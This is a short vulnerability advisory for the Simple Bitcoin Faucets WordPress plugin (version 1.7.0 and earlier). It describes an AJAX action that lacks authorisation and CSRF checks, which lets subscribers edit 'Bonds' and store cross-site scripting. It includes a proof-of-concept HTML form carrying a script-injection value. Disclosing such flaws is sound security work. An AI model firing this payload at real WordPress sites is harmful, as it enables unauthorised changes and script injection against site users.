WordPress Plugin Vulnerabilities

Simple Bitcoin Faucets <= 1.7.0 - Unauthorised AJAX Call to Stored XSS

Description

The plugin does not have any authorisation and CSRF in an AJAX action, allowing any authenticated users, such as subscribers to call it and add/delete/edit Bonds. Furthermore, due to the lack of sanitisation and escaping, it could also lead to Stored Cross-Site Scripting issues

Proof of Concept

Open a page containing the HTML code below as any authenticated user, or make any authenticated user open it via a CSRF attack

<form action="https://example.com/wordpress/wp-admin/admin-ajax.php" method="POST">
    <input type="text" name="action" value="SBF_DB_code_manage_action">
    <input type="text" name="B_COMMAND" value="ADD">
    <input type="text" name="B_PARAM" value="10">
    <input type="text" name="B_PARAM2" value="<script>alert(/XSS/)</script>">
    <input type="text" name="B_PARAM3" value="1">
    <input type="submit" name="submit" value="submit">
</form>
